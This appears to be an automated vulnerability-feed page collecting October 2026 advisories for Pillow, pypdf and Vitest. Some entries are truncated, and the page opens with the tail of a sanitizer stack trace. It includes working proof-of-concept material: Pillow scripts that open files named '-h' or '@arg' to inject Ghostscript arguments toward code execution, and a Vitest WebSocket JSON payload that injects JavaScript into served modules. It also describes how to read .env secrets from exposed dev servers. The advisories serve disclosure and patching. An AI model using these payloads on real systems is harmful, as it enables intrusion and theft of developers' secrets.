 #8 0x000103063eb0 in pyrun_file+0xa0 (python3.14:arm64+0x10028feb0)
 #9 0x000102dfe834 in _PyRun_SimpleFileObject+0xfc (python3.14:arm64+0x10002a834)
 #10 0x00010306cb60 in _PyRun_AnyFileObject+0x4c (python3.14:arm64+0x100298b60)
 #11 0x00010306ca54 in pymain_run_file_obj+0xa0 (python3.14:arm64+0x100298a54)
 #12 0x000102ffb80c in pymain_run_file+0x44 (python3.14:arm64+0x10022780c)
 #13 0x000102ff7d0c in Py_RunMain+0x46c (python3.14:arm64+0x100223d0c)
 #14 0x000102fb0820 in pymain_main.llvm.7308572997346072671+0x1cc (python3.14:arm64+0x1001dc820)
 #15 0x000102fb0644 in main+0x20 (python3.14:arm64+0x1001dc644)
 #16 0x000194c86b94 ( )

0x602000037374 is located 0 bytes after 4-byte region [0x602000037370,0x602000037374)
allocated by thread T0 here:
 #0 0x0001044a130c in malloc+0x78 (libclang_rt.asan_osx_dynamic.dylib:arm64e+0x3d30c)
 #1 0x000102f22324 in newarrayobject+0x6c (python3.14:arm64+0x10014e324)
 #2 0x000102f21b4c in array_new+0x320 (python3.14:arm64+0x10014db4c)
 #3 0x0001030fc390 in type_call+0x5c (python3.14:arm64+0x100328390)
 #4 0x000102e58ae4 in _TAIL_CALL_CALL.llvm.12785051352303791014+0x668 (python3.14:arm64+0x100084ae4)
 #5 0x000102f1c17c in _PyEval_Vector+0x308 (python3.14:arm64+0x10014817c)
 #6 0x000102f31864 in PyEval_EvalCode+0x9c (python3.14:arm64+0x10015d864)
 #7 0x000102f3fa14 in run_mod.llvm.1224844961852478530+0x120 (python3.14:arm64+0x10016ba14)
 #8 0x000103063eb0 in pyrun_file+0xa0 (python3.14:arm64+0x10028feb0)
 #9 0x000102dfe834 in _PyRun_SimpleFileObject+0xfc (python3.14:arm64+0x10002a834)
 #10 0x00010306cb60 in _PyRun_AnyFileObject+0x4c (python3.14:arm64+0x100298b60)
 #11 0x00010306ca54 in pymain_run_file_obj+0xa0 (python3.14:arm64+0x100298a54)
 #12 0x000102ffb80c in pymain_run_file+0x44 (python3.14:arm64+0x10022780c)
 #13 0x000102ff7d0c in Py_RunMain+0x46c (python3.14:arm64+0x100223d0c)
 #14 0x000102fb0820 in pymain_main.llvm.7308572997346072671+0x1cc (python3.14:arm64+0x1001dc820)
 #15 0x000102fb0644 in main+0x20 (python3.14:arm64+0x1001dc644)
 #16 0x000194c86b94 ( )

SUMMARY: AddressSaniti

Affected package ranges reported by GitHub:
Pillow: <= 12.3.0
Action: GitHub lists first patched versions: Pillow: 13.0.0. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Critical Flaw in Python’s Popular Pillow Image Library Allows Code Execution via a Crafted Image
https://kevwire.com/record/CVE-2026-112900
Critical Flaw in Python’s Popular Pillow Image Library Allows Code Execution via a Crafted Image (Oct 21, 2026).
```python
infile_temp = None
if hasattr(fp, "name") and os.path.exists(fp.name):
 infile = fp.name # user-controlled path used as-is, without validation
else:
 in_fd, infile_temp = tempfile.mkstemp()
 os.close(in_fd)
 infile = infile_temp
 # ... (copy fp into a temporary file)

When rendering an EPS image, PIL.EpsImagePlugin.Ghostscript() constructs the Ghostscript command line using the input file path (fp.name) and places it directly at the -f position of the argument list. This path is user-controllable, yet Pillow performs no validation or neutralization of tokens that Ghostscript treats specially during command-line argument parsing — in particular a leading - or -- (which Ghostscript interprets as an option rather than a filename) and a leading @ (Ghostscript's argument-file syntax, which causes it to read additional command-line arguments from the named file). Because the filename is neither normalized (e.g., forced to an absolute path or prefixed with ./) nor checked against these prefixes before being handed to the subprocess, an attacker who controls the filename passed to Image.open() can inject arbitrary Ghostscript command-line arguments. This is a classic argument-injection flaw (CWE-88), and it is not mitigated by Pillow's default -dSAFER setting.
CVSS 9.2 (version 4.0; evidence as of Oct 21, 2026; https://github.com/advisories/GHSA-w889-685w-c8fh).
EPSS 1.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112900&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-w889-685w-c8fh: https://github.com/advisories/GHSA-w889-685w-c8fh
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D
NVD CVE-2026-112900: https://nvd.nist.gov/vuln/detail/CVE-2026-112900
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
The Hacker News: Critical Flaw in Python’s Popular Pillow Image Library Allows Code Execution via a Crafted Image: https://thehackernews.com/2026/10/critical-flaw-in-pythons-popular-pillow.html
The Hacker News syndication feed: https://feeds.feedburner.com/TheHackersNews
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112900&date=2026-10-25
### Summary
`PIL.EpsImagePlugin.Ghostscript()` builds the Ghostscript command line using the input file path (`fp.name`) **without sanitization**, placing it at `-f `. A filename beginning with `-` is interpreted by Ghostscript as an option, giving command-line argument injection; chainable to RCE (see Impact). Reproduces with Pillow's default invocation (with `-dSAFER` enabled).

### Details
_Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer._

#### Type
CWE-88 (Argument Injection) (→ CWE-78 (OS Command Injection) optionally, with attacker controlled text file)

#### Vulnerable Codes

```python
infile_temp = None
if hasattr(fp, "name") and os.path.exists(fp.name):
 infile = fp.name # user-controlled path used as-is, without validation
else:
 in_fd, infile_temp = tempfile.mkstemp()
 os.close(in_fd)
 infile = infile_temp
 # ... (copy fp into a temporary file)

# Build Ghostscript command
command = [
 gs_binary,
 "-q",
 f"-g{width:d}x{height:d}",
 f"-r{res_x:f}x{res_y:f}",
 "-dBATCH",
 "-dNOPAUSE",
 "-dSAFER", # default sandbox — does NOT stop this injection
 f"-sDEVICE={device}",
 f"-sOutputFile={outfile}",
 "-c",
 f"{-bbox[0]} {-bbox[1]} translate",
 "-f",
 infile, # injected here: inserted into argv with no check for
 # option prefixes (-, --) or Ghostscript's @-file token
 # => argument injection (CWE-88)
 "-c",
 "showpage",
]
# ...
subprocess.check_call(command, startupinfo=startupinfo) # spawns Ghostscript
```

#### Root cause. 

When rendering an EPS image, PIL.EpsImagePlugin.Ghostscript() constructs the Ghostscript command line using the input file path (fp.name) and places it directly at the -f position of the argument list. This path is user-controllable, yet Pillow performs no validation or neutralization of tokens that Ghostscript treats specially during command-line argument parsing — in particular a leading - or -- (which Ghostscript interprets as an option rather than a filename) and a leading @ (Ghostscript's argument-file syntax, which causes it to read additional command-line arguments from the named file). Because the filename is neither normalized (e.g., forced to an absolute path or prefixed with ./) nor checked against these prefixes before being handed to the subprocess, an attacker who controls the filename passed to Image.open() can inject arbitrary Ghostscript command-line arguments. This is a classic argument-injection flaw (CWE-88), and it is not mitigated by Pillow's default -dSAFER setting.

#### Affected
- Pillow: tested on 12.3.0 (latest); vulnerable code is long-standing and appears to affect all current versions (main included).
- Component: `src/PIL/EpsImagePlugin.py`, `Ghostscript()` — `infile = fp.name`, and the command list entry `"-f", infile`.

#### Suggested fix
Normalize the filename to an absolute path before it is passed to Ghostscript, so it can never be parsed as an option (`-`/`--`) or as an argument-file token (`@`):
```python
 if hasattr(fp, "name") and os.path.exists(fp.name):
 infile = os.path.abspath(fp.name) # was: infile = fp.name
```
`os.path.abspath()` guarantees the path starts with a path separator (or a drive letter on Windows), so a leading `-` or `@` can no longer reach Ghostscript's argument parser. The `else` branch already builds a safe `tempfile.mkstemp()` path and needs no change.

### PoC
dockerfile, Default run shows the argument-injection demo (poc.py); for the RCE PoC run python3 poc-rce.py.
```
FROM ubuntu:24.04

RUN apt update
RUN apt install -y --no-install-recommends python3 python3-venv ghostscript ca-certificates
RUN rm -rf /var/lib/apt/lists/*
RUN python3 -m venv /venv && /venv/bin/pip install --upgrade pip Pillow==12.3.0
ENV PATH=/venv/bin:$PATH
WORKDIR /poc
COPY poc.py .
COPY poc-rce.py .
COPY arg .

CMD ["python3", "poc.py"]
```
poc.py
```
import os
from PIL import Image

############################################################################################
# Attacker controlled file
############################################################################################

EPS = b"%!PS-Adobe-3.0 EPSF-3.0\n%%BoundingBox: 0 0 100 100\n%%EndComments\nshowpage\n"

name = "-h"
with open(name, "wb") as f:
 f.write(EPS)

############################################################################################

print(f"[*] Pillow opens a file whose name is {name!r}")
im = Image.open(name)
print(f"[*] call `load()`; this paths calls `gs` command with '-f {name}'")
try:
 im.load()
except Exception as e:
 print(f"[*] load() raised: {type(e).__name__}: {e}")

print("CWE-88: argument injection; Pillow code doesn't validate argument name")
print(" This poc.py shows the vulnerability clearly.")
print(" If Pillow checks the name of file before it uses, It won't display `help`")
```
poc-rce.py
```
import os
from PIL import Image

############################################################################################
# Attacker controlled file
############################################################################################

EPS = b"%!PS-Adobe-3.0 EPSF-3.0\n%%BoundingBox: 0 0 100 100\n%%EndComments\nshowpage\n"

# To chain this vulnerability into critical RCE, We need another arbitrary text file
# In this script, it is `arg`.
name = "@arg"
with open(name, "wb") as f:
 f.write(EPS)

############################################################################################

print(f"[*] Pillow opens a file whose name is {name!r}")
im = Image.open(name)
print(f"[*] call `load()`; this paths calls `gs` command with '-f {name}'")
print(f"[*] and this leads to arbitrary command injection.")
print(f"*********************************************")
try:
 im.load()
except Exception as e:
 print(f"*********************************************")
 print(f"[*] load() raised: {type(e).__name__}: {e}")

print("")
print("CWE-78: OS Command Injection;")
print("CWE-88: Argument Injection ; Pillow code doesn't validate argument name")
print(" This poc.py s

Affected package ranges reported by GitHub:
Pillow: >= 2.6.0, < 13.0.0
Action: GitHub lists first patched versions: Pillow: 13.0.0. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### pypdf: Unvalidated JPEG image data loading
https://kevwire.com/record/CVE-2026-113786
pypdf: Unvalidated JPEG image data loading (Oct 21, 2026).
An attacker who uses this vulnerability can craft a PDF which leads to arbitrary image parsers being called. This requires loading an image which claims to use the `/DCTDecode` filter (JPEG data).

Users which do not have the optional *Pillow* dependency installed in their environment are not affected.
CVSS 2.3 (version 4.0; evidence as of Oct 21, 2026; https://github.com/advisories/GHSA-5hx5-vpf9-5wcv).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113786&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-5hx5-vpf9-5wcv: https://github.com/advisories/GHSA-5hx5-vpf9-5wcv
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113786&date=2026-10-25
### Impact

An attacker who uses this vulnerability can craft a PDF which leads to arbitrary image parsers being called. This requires loading an image which claims to use the `/DCTDecode` filter (JPEG data).

Users which do not have the optional *Pillow* dependency installed in their environment are not affected.

### Patches

This has been fixed in [pypdf==6.21.1](https://github.com/py-pdf/pypdf/releases/tag/6.21.1).

### Workarounds

If you cannot upgrade yet, consider applying the changes from PR [#4222](https://github.com/py-pdf/pypdf/pull/4222).

Affected package ranges reported by GitHub:
pypdf: < 6.21.1
Action: GitHub lists first patched versions: pypdf: 6.21.1. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vitest: Servers misapply `server.fs.deny`, serving `.env`, private keys, `.git`, and the API token file
https://kevwire.com/record/CVE-2026-112948
Vitest: Servers misapply `server.fs.deny`, serving `.env`, private keys, `.git`, and the API token file (Oct 21, 2026).
In Vitest 5, Vite's `server.fs.deny` is not applied as intended on Vitest's dev servers. Depending on the server, files that Vite refuses to serve by default (such as `.env`, private keys and certificates, `.npmrc`, and `.git`) or Vitest's own API token file (`.vitest-secret-token`) can be read over plain HTTP by a client that can reach the server. In Browser Mode with `test.projects`, a malicious website can also read `.env` values through the developer's browser.

This only applies when Vitest runs an HTTP server, which happens with the UI (`--ui`), Browser Mode, or `api` enabled. Plain `vitest` and `vitest run` don't listen on any port and are not affected. The fix ships in `vitest`, and `@vitest/ui` and `@vitest/browser` are listed because they are what enables the affected setups. Both pin `vitest` to the same version as a peer dependency, so upgrading either one also requires the patched `vitest`. Users who enable `api` without `@vitest/ui` or `@vitest/browser` are also affected and should upgrade `vitest`.
CVSS 6.5 (version 3.1; evidence as of Oct 21, 2026; https://github.com/advisories/GHSA-p458-7748-mcp3).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112948&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-p458-7748-mcp3: https://github.com/advisories/GHSA-p458-7748-mcp3
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112948&date=2026-10-25
### Summary

In Vitest 5, Vite's `server.fs.deny` is not applied as intended on Vitest's dev servers. Depending on the server, files that Vite refuses to serve by default (such as `.env`, private keys and certificates, `.npmrc`, and `.git`) or Vitest's own API token file (`.vitest-secret-token`) can be read over plain HTTP by a client that can reach the server. In Browser Mode with `test.projects`, a malicious website can also read `.env` values through the developer's browser.

This only applies when Vitest runs an HTTP server, which happens with the UI (`--ui`), Browser Mode, or `api` enabled. Plain `vitest` and `vitest run` don't listen on any port and are not affected. The fix ships in `vitest`, and `@vitest/ui` and `@vitest/browser` are listed because they are what enables the affected setups. Both pin `vitest` to the same version as a peer dependency, so upgrading either one also requires the patched `vitest`. Users who enable `api` without `@vitest/ui` or `@vitest/browser` are also affected and should upgrade `vitest`.

### Details

Vitest 5 adds its API token file to `server.fs.deny`, but neither server ended up with the intended list. That's because of two Vite behaviors. Vite applies its default deny list only when `server.fs.deny` is unset, and it compiles the list into a matcher during config resolution, so later changes to the array have no effect.

| setup | listening server | Vite's default deny list | `.vitest-secret-token` |
| ---------------------------------- | ------------------------------- | ------------------------ | ----------------------------------- |
| plain `vitest` / `vitest run` | none | not reachable | not reachable |
| `--ui` or `api` | root | denied | **served** (fallback location only) |
| Browser Mode, single project | root (also the browser server) | denied | **served** (fallback location only) |
| Browser Mode with `test.projects` | each browser project's server | **served** | denied |

- **Project servers** set `deny: ['.vitest-secret-token']` from a `config()` hook, which replaces Vite's defaults. A project server listens on a port in Browser Mode with `test.projects`, so in that setup a request like `GET /.env?raw` returns the file. A plain `GET /.env` is also served as `text/javascript`, so a malicious page can include it with ` /.env">`. A classic script include needs no CORS, and each dotenv line whose value is valid JavaScript (a quoted string, number, or boolean) runs as a global assignment the page can read. A syntax error anywhere in the file, such as a `#` comment, keeps the whole script from running. The same missing defaults also loosen Browser Mode's file-access checks for `server.readFile`/`writeFile`/`removeFile`, screenshots, and traces.
- **The root server** adds the token entry after Vite has compiled the matcher, so the entry is never applied. The token file normally lives in the per-user data directory, which is outside `server.fs.allow`. When that directory can't be written, for example in a container whose user has no writable `HOME`, Vitest falls back to ` /node_modules/.vitest/.vitest-secret-token`, which the root server then serves. The token authenticates the UI, `/__vitest_attachment__`, and the API WebSocket, whose RPC can write and rerun test files when `api.allowWrite`/`api.allowExec` are enabled.

### Impact

Information disclosure from the Vitest dev server, and with the token, privileged API access.

- **From a malicious website**, in Browser Mode with `test.projects`: while the browser server runs, any page the developer visits can read `.env` values that are valid JavaScript, through a classic ` ` include. This works when the file consists of `KEY="value"` lines. An unquoted value causes a runtime error that stops the script at that line, so only the lines before it leak. A syntax error anywhere in the file, such as a `#` comment line or an `export` prefix, prevents the script from running at all. Recent Chrome versions may ask for Local Network Access permission first. `fetch` and XHR reads from other websites are still blocked by Vite's default CORS policy, and Vite's `Host` check blocks DNS rebinding. That CORS policy does allow localhost origins, so a page served from another local dev server could read full files. The token file can't be read through a classic ` `, because a bare token isn't valid JavaScript.
- **With local access or developer-set network exposure** (such as `api.host` or `browser.api.host`, port forwarding, or a published container port): full file contents are readable over plain HTTP, including the token file when it's in the fallback location.

Only the machine running Vitest is exposed, while it runs one of the setups above. Applications built or deployed from the project aren't affected.

The fix is in `vitest` ` `. Vitest 4 and earlier are unaffected. They don't persist an API token, and they don't override `server.fs.deny`.

### Workaround

Set `server.fs.deny` explicitly in the root Vitest config, including Vite's default list for your Vite version and the token file. For Vite 8.3:

```ts
export default defineConfig({
 server: {
 fs: {
 deny: [
 '.env',
 '.env.*',
 '*.{crt,pem,key,p12,pfx,cer,der}',
 '.npmrc',
 '.yarnrc.yml',
 '**/.git/**',
 '.vitest-secret-token',
 ],
 },
 },
})
```

Affected package ranges reported by GitHub:
@vitest/ui: >= 5.0.0-beta.6, < 5.0.5
@vitest/browser: >= 5.0.0-beta.6, < 5.0.5
vite-plus: >= 1.0.0-rc.0, < 1.3.0
Action: GitHub lists first patched versions: @vitest/ui: 5.0.5; @vitest/browser: 5.0.5; vite-plus: 1.3.0. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vitest: Code injection via unauthenticated manual mock registration
https://kevwire.com/record/CVE-2026-112949
Vitest: Code injection via unauthenticated manual mock registration (Oct 21, 2026).
`@vitest/mocker`'s `interceptorPlugin` accepts mock registrations on Vite's dev-server WebSocket with no authentication, and interpolates the mock's `url` into generated module source without escaping. A client that can reach the dev server can make it serve arbitrary JavaScript in place of any project module, which then runs in the developer's browser on the dev-server origin.

Same handler and same unauthenticated caller as GHSA-82fw-gwwq-j7x9; that fix (`8ff9b9a9efca7c6cfd5243569440de8d7a33aec4`, PR #10972) hardened only the `redirect` branch and left the `manual` branch reaching the unescaped generator.
CVSS 4.7 (version 3.1; evidence as of Oct 21, 2026; https://github.com/advisories/GHSA-qxg6-89mg-rqv8).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112949&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-qxg6-89mg-rqv8: https://github.com/advisories/GHSA-qxg6-89mg-rqv8
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112949&date=2026-10-25
### Summary

`@vitest/mocker`'s `interceptorPlugin` accepts mock registrations on Vite's dev-server WebSocket with no authentication, and interpolates the mock's `url` into generated module source without escaping. A client that can reach the dev server can make it serve arbitrary JavaScript in place of any project module, which then runs in the developer's browser on the dev-server origin.

Same handler and same unauthenticated caller as GHSA-82fw-gwwq-j7x9; that fix (`8ff9b9a9efca7c6cfd5243569440de8d7a33aec4`, PR #10972) hardened only the `redirect` branch and left the `manual` branch reaching the unescaped generator.

### Patches

Fixed in `@vitest/mocker` 5.0.3, released on 2026-09-30 (PR #11377), and backported to 4.1.12. `createManualModuleSource` now serializes the module URL and the export names with `JSON.stringify`, so a registered mock cannot change the generated code.

Projects that call `mockerPlugin()` or `interceptorPlugin()` directly need `@vitest/mocker` 4.1.12 or 5.0.3.

### Details

`packages/mocker/src/utils.ts:6-9` builds module source by string interpolation:

```ts
export function createManualModuleSource(moduleUrl: string, exports: string[], globalAccessor = '"__vitest_mocker__"'): string {
 const source = `
const __factoryModule__ = await globalThis[${globalAccessor}].getFactoryModule("${moduleUrl}");
`
```

`moduleUrl` lands inside a double-quoted JavaScript string with no escaping or validation.

`packages/mocker/src/node/interceptorPlugin.ts:66-93` feeds it straight from the socket:

```ts
configureServer(server) {
 if (options.registerWebSocketEvents === false) { return }
 server.ws.on('vitest:interceptor:register', (event: MockedModuleSerialized) => {
 if (event.type === 'manual') {
 const module = ManualMockedModule.fromJSON(event, async () => {
 const keys = await getFactoryExports(event.url)
 return Object.fromEntries(keys.map(key => [key, null]))
 })
 registry.add(module) // no validation of `id` or `url`
 }
 else {
 if (event.type === 'redirect') { /* fs allowlist check added in #10972 */ }
```

`event.id` chooses which module is hijacked; `event.url` is what gets interpolated. The `load` hook (`interceptorPlugin.ts:30-44`) then returns `createManualModuleSource(mock.url, exports, accessor)` for that id.

With `url = 'x"); globalThis.ARES_INJECTED = 1; void("'` a request for `/src/app.js` is answered with valid, executable JavaScript:

```js
const __factoryModule__ = await globalThis["__vitest_mocker__"].getFactoryModule("x"); globalThis.ARES_INJECTED = 1; void("");
```

`getFactoryExports` (`interceptorPlugin.ts:103-117`) also takes the export-name array from the same socket, and those names are interpolated unescaped too — but each name is emitted into `__factoryModule__["X"]`, `export { __0 as "X" }` and `resolvedModule["X"]`, and no payload tested parses in all three positions (all nine candidates were rejected by the parser). It is a hardening gap, not a second usable vector; `url` is the exploited one.

**Who can reach the socket.** Vite 8 answers HTTP 400 to any HMR upgrade carrying an `Origin` header it does not own, so a cross-origin browser page cannot open it — the PoC asserts this for `https://evil.example` and `http://localhost:3000`. The reachable attacker is a non-browser WebSocket client with access to the dev server's port, the same prerequisite under which GHSA-82fw-gwwq-j7x9 was published.

### PoC

`poc/mocker-manual-mock-injection/` — `repro.sh` (exit 0 = vulnerable), `poc.mjs`, `expected.txt`, `env.txt`. Everything lives under a fresh `mktemp` directory deleted on exit, the dev server binds to `127.0.0.1` on an ephemeral port, no external host is contacted, and the payload is only inspected as text — the script never evaluates it.

Environment: commit `9e1166959e14bd32298d8a0e85352431c769ec7a`, `@vitest/mocker` 5.0.0, Node v22.23.1, Vite 8.0.11, ws 8.21.3, pnpm 11.24.0, Linux x86_64.

```bash
git clone https://github.com/vitest-dev/vitest && cd vitest
git checkout 9e1166959e14bd32298d8a0e85352431c769ec7a
pnpm install && pnpm build
REPO=$(pwd) bash /path/to/poc/mocker-manual-mock-injection/repro.sh
```

Required configuration — the public setup documented in `packages/mocker/EXPORTS.md`, which the harness reproduces (`mockerPlugin()` wires `interceptorPlugin` the same way):

```ts
import { interceptorPlugin } from '@vitest/mocker/node'
export default defineConfig({ plugins: [interceptorPlugin()] }) // or mockerPlugin()
```

The attack is one WebSocket message to `ws:// : /` with subprotocol `vite-hmr`:

```json
{ "type": "custom", "event": "vitest:interceptor:register",
 "data": { "type": "manual", "raw": "", "id": " ",
 "url": "x\"); globalThis.ARES_INJECTED = 1; void(\"" } }
```

then answering the server's `vitest:interceptor:resolve` with `{"type":"custom","event":"vitest:interceptor:resolved","data":{"url":" ","keys":["a"]}}`. The module id can be obtained from the same socket via `vitest:mocks:resolveId` when `mockerPlugin()` is used.

Observed output:

```
